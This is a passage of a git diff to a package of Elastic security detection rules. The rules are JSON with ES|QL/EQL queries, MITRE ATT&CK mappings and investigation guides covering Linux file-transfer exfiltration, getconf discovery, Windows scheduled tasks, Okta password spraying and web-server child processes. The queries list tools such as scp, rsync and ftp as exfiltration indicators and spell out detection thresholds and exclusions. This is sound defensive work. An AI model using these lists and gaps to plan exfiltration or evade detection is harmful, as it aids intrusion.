"Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.004", - "name": "Unix Shell", - "reference": "https://attack.mitre.org/techniques/T1059/004/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0011", - "name": "Command and Control", - "reference": "https://attack.mitre.org/tactics/TA0011/" - }, - "technique": [ - { - "id": "T1071", - "name": "Application Layer Protocol", - "reference": "https://attack.mitre.org/techniques/T1071/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 4 - }, - "id": "8a7933b4-9d0a-4c1c-bda5-e39fb045ff1d_4", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/8eeeda11-dca6-4c3e-910f-7089db412d1c_4.json b/packages/security_detection_engine/kibana/security_rule/8eeeda11-dca6-4c3e-910f-7089db412d1c_4.json deleted file mode 100644 index 8a42ba9ce43..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/8eeeda11-dca6-4c3e-910f-7089db412d1c_4.json +++ /dev/null @@ -1,59 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule leverages ESQL to detect the execution of unusual file transfer utilities on Linux systems. Attackers may use these utilities to exfiltrate data from a compromised system. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert.", - "from": "now-61m", - "interval": "1h", - "language": "esql", - "license": "Elastic License v2", - "name": "Unusual File Transfer Utility Launched", - "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Unusual File Transfer Utility Launched\n\nFile transfer utilities like scp, ftp, and rsync are essential for data movement in Linux environments. However, adversaries can exploit these tools to exfiltrate sensitive data. The detection rule identifies suspicious executions of these utilities by monitoring process activities, focusing on rare occurrences and unique agent IDs, which may indicate unauthorized data transfers. This helps in early detection of potential data breaches.\n\n### Possible investigation steps\n\n- Review the process.command_line field to understand the exact command executed and assess if it aligns with typical usage patterns or if it appears suspicious.\n- Examine the process.parent.executable field to determine the parent process that initiated the file transfer utility, which may provide insights into whether the execution was part of a legitimate workflow or potentially malicious activity.\n- Check the agent.id field to identify the specific host involved in the alert and correlate it with other security events or logs from the same host to gather additional context.\n- Investigate the @timestamp field to verify the timing of the event and cross-reference with any known scheduled tasks or user activities that could explain the execution.\n- Analyze the host.os.type field to confirm the operating system and ensure that the alert pertains to a Linux environment, as expected by the rule.\n\n### False positive analysis\n\n- Routine administrative tasks using file transfer utilities may trigger alerts. Regularly scheduled backups or updates using scp, rsync, or ftp should be documented and excluded from alerts by creating exceptions for known scripts or cron jobs.\n- Automated system updates or patches that utilize these utilities can be mistaken for suspicious activity. Identify and whitelist the processes and command lines associated with these updates to prevent false positives.\n- Internal data transfers between trusted servers for legitimate business purposes might be flagged. Establish a list of trusted agent IDs and exclude them from the rule to avoid unnecessary alerts.\n- Development and testing environments often use these utilities for transferring test data. Ensure that these environments are recognized and excluded by specifying their hostnames or IP addresses in the rule configuration.\n- User-initiated file transfers for legitimate reasons, such as data analysis or reporting, can be misinterpreted. Educate users to notify the security team of such activities in advance, allowing for temporary exceptions to be made.\n\n### Response and remediation\n\n- Immediately isolate the affected Linux system from the network to prevent further data exfiltration and unauthorized access.\n- Terminate any suspicious file transfer processes identified by the alert, such as scp, ftp, or rsync, to halt ongoing data transfers.\n- Conduct a thorough review of the process command lines and parent executables to identify any malicious scripts or unauthorized software that initiated the file transfer.\n- Change credentials and access keys associated with the compromised system to prevent further unauthorized access.\n- Escalate the incident to the security operations team for a deeper forensic analysis to determine the extent of the breach and identify any additional compromised systems.\n- Implement network monitoring to detect any further attempts of unauthorized file transfers or suspicious activities from the affected system.\n- Update and enhance endpoint detection and response (EDR) solutions to improve detection capabilities for similar threats in the future.\n", - "query": "from logs-endpoint.events.process-*\n| keep @timestamp, host.os.type, event.type, event.action, process.name, process.executable, process.parent.executable, process.command_line, agent.id, host.name\n| where @timestamp > now() - 1 hours\n| where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"exec\" and\n process.name in (\"scp\", \"ftp\", \"sftp\", \"vsftpd\", \"sftp-server\", \"rsync\")\n| stats cc = count(), agent_count = count_distinct(agent.id), host.name = VALUES(host.name), agent.id = VALUES(agent.id) by process.executable, process.parent.executable, process.command_line\n| where agent_count == 1 and cc < 5\n| sort cc asc\n| limit 100\n", - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - } - ], - "risk_score": 21, - "rule_id": "8eeeda11-dca6-4c3e-910f-7089db412d1c", - "setup": "## Setup\n\nThis rule requires data coming in from one of the following integrations:\n- Elastic Defend\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Exfiltration", - "Tactic: Execution", - "Data Source: Elastic Defend", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0010", - "name": "Exfiltration", - "reference": "https://attack.mitre.org/tactics/TA0010/" - }, - "technique": [] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 4 - }, - "id": "8eeeda11-dca6-4c3e-910f-7089db412d1c_4", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/90e5976d-ed8c-489a-a293-bfc57ff8ba89_1.json b/packages/security_detection_engine/kibana/security_rule/90e5976d-ed8c-489a-a293-bfc57ff8ba89_1.json deleted file mode 100644 index 43a1ba91eef..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/90e5976d-ed8c-489a-a293-bfc57ff8ba89_1.json +++ /dev/null @@ -1,91 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "building_block_type": "default", - "description": "This rule identifies Linux system information discovery via the `getconf` command. The `getconf` command is used to query system configuration variables and system limits. Adversaries may use this command to gather information about the system, such as the page size, maximum number of open files, and other system limits, to aid in further exploration and exploitation of the system.", - "from": "now-119m", - "index": [ - "logs-endpoint.events.process*", - "endgame-*", - "auditbeat-*", - "logs-auditd_manager.auditd-*" - ], - "interval": "60m", - "language": "eql", - "license": "Elastic License v2", - "name": "Linux System Information Discovery via Getconf", - "query": "process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"exec_event\", \"executed\", \"process_started\") and\nprocess.name == \"getconf\"\n", - "references": [ - "https://blog.exatrack.com/Perfctl-using-portainer-and-new-persistences/" - ], - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - }, - { - "package": "auditd_manager", - "version": "^1.0.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - } - ], - "risk_score": 21, - "rule_id": "90e5976d-ed8c-489a-a293-bfc57ff8ba89", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Discovery", - "Rule Type: BBR", - "Data Source: Elastic Defend", - "Data Source: Elastic Endgame", - "Data Source: Auditd Manager" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0007", - "name": "Discovery", - "reference": "https://attack.mitre.org/tactics/TA0007/" - }, - "technique": [ - { - "id": "T1082", - "name": "System Information Discovery", - "reference": "https://attack.mitre.org/techniques/T1082/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "eql", - "version": 1 - }, - "id": "90e5976d-ed8c-489a-a293-bfc57ff8ba89_1", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/92a6faf5-78ec-4e25-bea1-73bacc9b59d9_114.json b/packages/security_detection_engine/kibana/security_rule/92a6faf5-78ec-4e25-bea1-73bacc9b59d9_114.json new file mode 100644 index 00000000000..363046e9641 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/92a6faf5-78ec-4e25-bea1-73bacc9b59d9_114.json @@ -0,0 +1,97 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Indicates the creation of a scheduled task using Windows event logs. Adversaries can use these to establish persistence, move laterally, and/or escalate privileges.", + "false_positives": [ + "Legitimate scheduled tasks may be created during installation of new software." + ], + "from": "now-9m", + "index": [ + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "A scheduled task was created", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating A scheduled task was created\n\nScheduled tasks in Windows automate routine tasks, enhancing efficiency. However, adversaries exploit this feature to maintain persistence, move laterally, or escalate privileges by creating malicious tasks. The detection rule identifies suspicious task creation by filtering out benign tasks and those initiated by system accounts, focusing on potential threats. This approach helps security analysts pinpoint unauthorized task creation indicative of malicious activity.\n\n### Possible investigation steps\n\n- Review the user account associated with the task creation to determine if it is a known and authorized user, ensuring it is not a system account by checking that the username does not end with a dollar sign.\n- Examine the task name and path in the event data to identify if it matches any known benign tasks or if it appears suspicious or unfamiliar.\n- Investigate the origin of the task creation by checking the source IP address or hostname, if available, to determine if it aligns with expected network activity.\n- Check the task's scheduled actions and triggers to understand what the task is designed to execute and when, looking for any potentially harmful or unexpected actions.\n- Correlate the task creation event with other security events or logs around the same time to identify any related suspicious activities or anomalies.\n\n### False positive analysis\n\n- Scheduled tasks created by system accounts or computer accounts are often benign. These can be excluded by filtering out user names ending with a dollar sign, which typically represent system accounts.\n- Tasks associated with common software updates or maintenance, such as those from Hewlett-Packard or Microsoft Visual Studio, are generally non-threatening. These can be excluded by specifying their full task names in the exclusion list.\n- OneDrive update tasks are frequently triggered and are usually safe. Exclude these by using patterns that match their task names, such as those starting with \"OneDrive Standalone Update Task\".\n- Regularly review and update the exclusion list to include any new benign tasks that are identified over time, ensuring that the rule remains effective without generating unnecessary alerts.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary.\n- Terminate any suspicious scheduled tasks identified by the alert to halt any ongoing malicious activity.\n- Conduct a thorough review of the system's scheduled tasks to identify and remove any other unauthorized or suspicious tasks.\n- Restore the system from a known good backup if any malicious activity has been confirmed and has potentially compromised system integrity.\n- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited.\n- Monitor the system and network for any signs of re-infection or further unauthorized scheduled task creation.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.", + "query": "iam where host.os.type == \"windows\" and event.action == \"scheduled-task-created\" and\n\n /* excluding tasks created by the computer account */\n not user.name : \"*$\" and\n\n /* TaskContent is not parsed, exclude by full taskname noisy ones */\n not winlog.event_data.TaskName : (\n \"\\\\CreateExplorerShellUnelevatedTask\",\n \"\\\\Hewlett-Packard\\\\HPDeviceCheck\",\n \"\\\\Hewlett-Packard\\\\HP Support Assistant\\\\WarrantyChecker\",\n \"\\\\Hewlett-Packard\\\\HP Support Assistant\\\\WarrantyChecker_backup\",\n \"\\\\Hewlett-Packard\\\\HP Web Products Detection\",\n \"\\\\Microsoft\\\\VisualStudio\\\\Updates\\\\BackgroundDownload\",\n \"\\\\OneDrive Standalone Update Task-S-1-5-21*\",\n \"\\\\OneDrive Standalone Update Task-S-1-12-1-*\"\n )\n", + "references": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4698" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "user.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.TaskName", + "type": "unknown" + } + ], + "risk_score": 21, + "rule_id": "92a6faf5-78ec-4e25-bea1-73bacc9b59d9", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Persistence", + "Data Source: Windows Security Event Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1053", + "name": "Scheduled Task/Job", + "reference": "https://attack.mitre.org/techniques/T1053/", + "subtechnique": [ + { + "id": "T1053.005", + "name": "Scheduled Task", + "reference": "https://attack.mitre.org/techniques/T1053/005/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 114 + }, + "id": "92a6faf5-78ec-4e25-bea1-73bacc9b59d9_114", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/94e734c0-2cda-11ef-84e1-f661ea17fbce_205.json b/packages/security_detection_engine/kibana/security_rule/94e734c0-2cda-11ef-84e1-f661ea17fbce_205.json deleted file mode 100644 index 9f5d3e05dc9..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/94e734c0-2cda-11ef-84e1-f661ea17fbce_205.json +++ /dev/null @@ -1,78 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Detects when a certain threshold of Okta user authentication events are reported for multiple users from the same client address. Adversaries may attempt to launch a credential stuffing or password spraying attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts.", - "false_positives": [ - "Users may share an endpoint related to work or personal use in which separate Okta accounts are used.", - "Shared systems such as Kiosks and conference room computers may be used by multiple users." - ], - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "Multiple Okta User Authentication Events with Client Address", - "note": "## Triage and analysis\n\n### Investigating Multiple Okta User Authentication Events with Client Address\n\nThis rule detects when a certain threshold of Okta user authentication events are reported for multiple users from the same client address. Adversaries may attempt to launch a credential stuffing attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts. Note that Okta does not log unrecognized usernames supplied during authentication attempts, so this rule may not detect all credential stuffing attempts or may indicate a targeted attack.\n\n#### Possible investigation steps:\nSince this is an ESQL rule, the `okta.actor.alternate_id` and `okta.client.ip` values can be used to pivot into the raw authentication events related to this activity.\n- Identify the users involved in this action by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields.\n- Determine the device client used for these actions by analyzing `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields.\n- Review the `okta.security_context.is_proxy` field to determine if the device is a proxy.\n - If the device is a proxy, this may indicate that a user is using a proxy to access multiple accounts for password spraying.\n- With the list of `okta.actor.alternate_id` values, review `event.outcome` results to determine if the authentication was successful.\n - If the authentication was successful for any user, pivoting to `event.action` values for those users may provide additional context.\n- With Okta end users identified, review the `okta.debug_context.debug_data.dt_hash` field.\n - Historical analysis should indicate if this device token hash is commonly associated with the user.\n- Review the `okta.event_type` field to determine the type of authentication event that occurred.\n - If the event type is `user.authentication.sso`, the user may have legitimately started a session via a proxy for security or privacy reasons.\n - If the event type is `user.authentication.password`, the user may be using a proxy to access multiple accounts for password spraying.\n - If the event type is `user.session.start`, the source may have attempted to establish a session via the Okta authentication API.\n- Examine the `okta.outcome.result` field to determine if the authentication was successful.\n- Review the past activities of the actor(s) involved in this action by checking their previous actions.\n- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity.\n - This may help determine the authentication and authorization actions that occurred between the user, Okta and application.\n\n### False positive analysis:\n- A user may have legitimately started a session via a proxy for security or privacy reasons.\n- Users may share an endpoint related to work or personal use in which separate Okta accounts are used.\n - Architecturally, this shared endpoint may leverage a proxy for security or privacy reasons.\n - Shared systems such as Kiosks and conference room computers may be used by multiple users.\n - Shared working spaces may have a single endpoint that is used by multiple users.\n\n### Response and remediation:\n- Review the profile of the users involved in this action to determine if proxy usage may be expected.\n- If the user is legitimate and the authentication behavior is not suspicious based on device analysis, no action is required.\n- If the user is legitimate but the authentication behavior is suspicious, consider resetting passwords for the users involves and enabling multi-factor authentication (MFA).\n - If MFA is already enabled, consider resetting MFA for the users.\n- If any of the users are not legitimate, consider deactivating the user's account.\n- Conduct a review of Okta policies and ensure they are in accordance with security best practices.\n- Check with internal IT teams to determine if the accounts involved recently had MFA reset at the request of the user.\n - If so, confirm with the user this was a legitimate request.\n - If so and this was not a legitimate request, consider deactivating the user's account temporarily.\n - Reset passwords and reset MFA for the user.\n- If this is a false positive, consider adding the `okta.debug_context.debug_data.dt_hash` field to the `exceptions` list in the rule.\n - This will prevent future occurrences of this event for this device from triggering the rule.\n - Alternatively adding `okta.client.ip` or a CIDR range to the `exceptions` list can prevent future occurrences of this event from triggering the rule.\n - This should be done with caution as it may prevent legitimate alerts from being generated.\n", - "query": "FROM logs-okta*\n| WHERE\n event.dataset == \"okta.system\"\n AND (event.action == \"user.session.start\" OR event.action RLIKE \"user\\\\.authentication(.*)\")\n AND okta.outcome.reason == \"INVALID_CREDENTIALS\"\n| KEEP okta.client.ip, okta.actor.alternate_id, okta.actor.id, event.action, okta.outcome.reason\n| STATS\n source_auth_count = COUNT_DISTINCT(okta.actor.id)\n BY okta.client.ip, okta.actor.alternate_id\n| WHERE\n source_auth_count > 5\n| SORT\n source_auth_count DESC\n", - "references": [ - "https://support.okta.com/help/s/article/How-does-the-Device-Token-work?language=en_US", - "https://developer.okta.com/docs/reference/api/event-types/", - "https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy", - "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection", - "https://www.okta.com/resources/whitepaper-how-adaptive-mfa-can-help-in-mitigating-brute-force-attacks/", - "https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security", - "https://www.elastic.co/security-labs/starter-guide-to-understanding-okta" - ], - "risk_score": 21, - "rule_id": "94e734c0-2cda-11ef-84e1-f661ea17fbce", - "setup": "The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", - "severity": "low", - "tags": [ - "Use Case: Identity and Access Audit", - "Data Source: Okta", - "Tactic: Credential Access", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0006", - "name": "Credential Access", - "reference": "https://attack.mitre.org/tactics/TA0006/" - }, - "technique": [ - { - "id": "T1110", - "name": "Brute Force", - "reference": "https://attack.mitre.org/techniques/T1110/", - "subtechnique": [ - { - "id": "T1110.003", - "name": "Password Spraying", - "reference": "https://attack.mitre.org/techniques/T1110/003/" - } - ] - }, - { - "id": "T1110", - "name": "Brute Force", - "reference": "https://attack.mitre.org/techniques/T1110/", - "subtechnique": [ - { - "id": "T1110.004", - "name": "Credential Stuffing", - "reference": "https://attack.mitre.org/techniques/T1110/004/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 205 - }, - "id": "94e734c0-2cda-11ef-84e1-f661ea17fbce_205", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/95b99adc-2cda-11ef-84e1-f661ea17fbce_205.json b/packages/security_detection_engine/kibana/security_rule/95b99adc-2cda-11ef-84e1-f661ea17fbce_205.json deleted file mode 100644 index b3adc5db0c7..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/95b99adc-2cda-11ef-84e1-f661ea17fbce_205.json +++ /dev/null @@ -1,78 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Detects when a high number of Okta user authentication events are reported for multiple users in a short time frame. Adversaries may attempt to launch a credential stuffing or password spraying attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts.", - "false_positives": [ - "Users may share an endpoint related to work or personal use in which separate Okta accounts are used.", - "Shared systems such as Kiosks and conference room computers may be used by multiple users." - ], - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "Multiple Okta User Authentication Events with Same Device Token Hash", - "note": "## Triage and analysis\n\n### Investigating Multiple Okta User Authentication Events with Same Device Token Hash\n\nThis rule detects when a high number of Okta user authentication events are reported for multiple users in a short time frame. Adversaries may attempt to launch a credential stuffing attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts. Note that Okta does not log unrecognized usernames supplied during authentication attempts, so this rule may not detect all credential stuffing attempts or may indicate a targeted attack.\n\n#### Possible investigation steps:\n- Since this is an ESQL rule, the `okta.actor.alternate_id` and `okta.debug_context.debug_data.dt_hash` values can be used to pivot into the raw authentication events related to this activity.\n- Identify the users involved in this action by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields.\n- Determine the device client used for these actions by analyzing `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields.\n- Review the `okta.security_context.is_proxy` field to determine if the device is a proxy.\n - If the device is a proxy, this may indicate that a user is using a proxy to access multiple accounts for password spraying.\n- With the list of `okta.actor.alternate_id` values, review `event.outcome` results to determine if the authentication was successful.\n - If the authentication was successful for any user, pivoting to `event.action` values for those users may provide additional context.\n- With Okta end users identified, review the `okta.debug_context.debug_data.dt_hash` field.\n - Historical analysis should indicate if this device token hash is commonly associated with the user.\n- Review the `okta.event_type` field to determine the type of authentication event that occurred.\n - If the event type is `user.authentication.sso`, the user may have legitimately started a session via a proxy for security or privacy reasons.\n - If the event type is `user.authentication.password`, the user may be using a proxy to access multiple accounts for password spraying.\n- Examine the `okta.outcome.result` field to determine if the authentication was successful.\n- Review the past activities of the actor(s) involved in this action by checking their previous actions.\n- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity.\n - This may help determine the authentication and authorization actions that occurred between the user, Okta and application.\n\n### False positive analysis:\n- A user may have legitimately started a session via a proxy for security or privacy reasons.\n- Users may share an endpoint related to work or personal use in which separate Okta accounts are used.\n - Architecturally, this shared endpoint may leverage a proxy for security or privacy reasons.\n - Shared systems such as Kiosks and conference room computers may be used by multiple users.\n - Shared working spaces may have a single endpoint that is used by multiple users.\n\n### Response and remediation:\n- Review the profile of the users involved in this action to determine if proxy usage may be expected.\n- If the user is legitimate and the authentication behavior is not suspicious based on device analysis, no action is required.\n- If the user is legitimate but the authentication behavior is suspicious, consider resetting passwords for the users involves and enabling multi-factor authentication (MFA).\n - If MFA is already enabled, consider resetting MFA for the users.\n- If any of the users are not legitimate, consider deactivating the user's account.\n- Conduct a review of Okta policies and ensure they are in accordance with security best practices.\n- Check with internal IT teams to determine if the accounts involved recently had MFA reset at the request of the user.\n - If so, confirm with the user this was a legitimate request.\n - If so and this was not a legitimate request, consider deactivating the user's account temporarily.\n - Reset passwords and reset MFA for the user.\n- If this is a false positive, consider adding the `okta.debug_context.debug_data.dt_hash` field to the `exceptions` list in the rule.\n - This will prevent future occurrences of this event for this device from triggering the rule.\n", - "query": "FROM logs-okta*\n| WHERE\n event.dataset == \"okta.system\"\n AND (event.action RLIKE \"user\\\\.authentication(.*)\" OR event.action == \"user.session.start\")\n AND okta.debug_context.debug_data.dt_hash != \"-\"\n AND okta.outcome.reason == \"INVALID_CREDENTIALS\"\n| KEEP event.action, okta.debug_context.debug_data.dt_hash, okta.actor.id, okta.actor.alternate_id, okta.outcome.reason\n| STATS\n target_auth_count = COUNT_DISTINCT(okta.actor.id)\n BY okta.debug_context.debug_data.dt_hash, okta.actor.alternate_id\n| WHERE\n target_auth_count > 20\n| SORT\n target_auth_count DESC\n", - "references": [ - "https://support.okta.com/help/s/article/How-does-the-Device-Token-work?language=en_US", - "https://developer.okta.com/docs/reference/api/event-types/", - "https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy", - "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection", - "https://www.okta.com/resources/whitepaper-how-adaptive-mfa-can-help-in-mitigating-brute-force-attacks/", - "https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security", - "https://www.elastic.co/security-labs/starter-guide-to-understanding-okta" - ], - "risk_score": 21, - "rule_id": "95b99adc-2cda-11ef-84e1-f661ea17fbce", - "setup": "The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", - "severity": "low", - "tags": [ - "Use Case: Identity and Access Audit", - "Data Source: Okta", - "Tactic: Credential Access", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0006", - "name": "Credential Access", - "reference": "https://attack.mitre.org/tactics/TA0006/" - }, - "technique": [ - { - "id": "T1110", - "name": "Brute Force", - "reference": "https://attack.mitre.org/techniques/T1110/", - "subtechnique": [ - { - "id": "T1110.003", - "name": "Password Spraying", - "reference": "https://attack.mitre.org/techniques/T1110/003/" - } - ] - }, - { - "id": "T1110", - "name": "Brute Force", - "reference": "https://attack.mitre.org/techniques/T1110/", - "subtechnique": [ - { - "id": "T1110.004", - "name": "Credential Stuffing", - "reference": "https://attack.mitre.org/techniques/T1110/004/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 205 - }, - "id": "95b99adc-2cda-11ef-84e1-f661ea17fbce_205", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/976b2391-413f-4a94-acb4-7911f3803346_4.json b/packages/security_detection_engine/kibana/security_rule/976b2391-413f-4a94-acb4-7911f3803346_4.json deleted file mode 100644 index d78f05915f6..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/976b2391-413f-4a94-acb4-7911f3803346_4.json +++ /dev/null @@ -1,101 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule detects unusual processes spawned from a web server parent process by identifying low frequency counts of process spawning activity. Unusual process spawning activity may indicate an attacker attempting to establish persistence, execute malicious commands, or establish command and control channels on the host system. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert.", - "from": "now-61m", - "interval": "1h", - "language": "esql", - "license": "Elastic License v2", - "name": "Unusual Process Spawned from Web Server Parent", - "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Unusual Process Spawned from Web Server Parent\n\nWeb servers like Apache, Nginx, and others are crucial for hosting applications and services. Adversaries exploit these servers by spawning unauthorized processes to maintain persistence or execute malicious commands. The detection rule identifies anomalies by monitoring low-frequency process spawns from web server parents, focusing on unusual user IDs, directories, and process counts, which may indicate potential threats.\n\n### Possible investigation steps\n\n- Review the process.executable and process.command_line fields to understand the nature of the process that was spawned and assess if it aligns with expected behavior for the web server environment.\n- Examine the process.working_directory to determine if the directory is a legitimate location for web server operations or if it appears suspicious, such as being outside typical web server directories.\n- Check the user.name and user.id fields to verify if the process was executed by a legitimate web server user or if it was initiated by an unexpected or unauthorized user account.\n- Investigate the process.parent.executable to confirm whether the parent process is a known and trusted web server executable or if it has been tampered with or replaced.\n- Correlate the event with other logs or alerts from the same agent.id to identify any additional suspicious activities or patterns that may indicate a broader compromise.\n- Assess the host.os.type to ensure the alert pertains to a Linux system, as specified in the query, and verify if there are any known vulnerabilities or misconfigurations on the host that could have been exploited.\n\n### False positive analysis\n\n- Processes related to legitimate web server maintenance tasks may trigger alerts. Review scheduled tasks or cron jobs that align with the alert timing and consider excluding these specific processes if they are verified as non-threatening.\n- Development environments often spawn processes that mimic attack patterns. Identify and exclude processes originating from known development directories or executed by development user accounts.\n- Automated scripts or monitoring tools running under web server user accounts can be mistaken for malicious activity. Verify these scripts and add exceptions for their specific process names or working directories.\n- Frequent updates or deployments in web applications can lead to unusual process spawns. Document these activities and exclude related processes if they consistently match the alert criteria during known update windows.\n- Custom web server modules 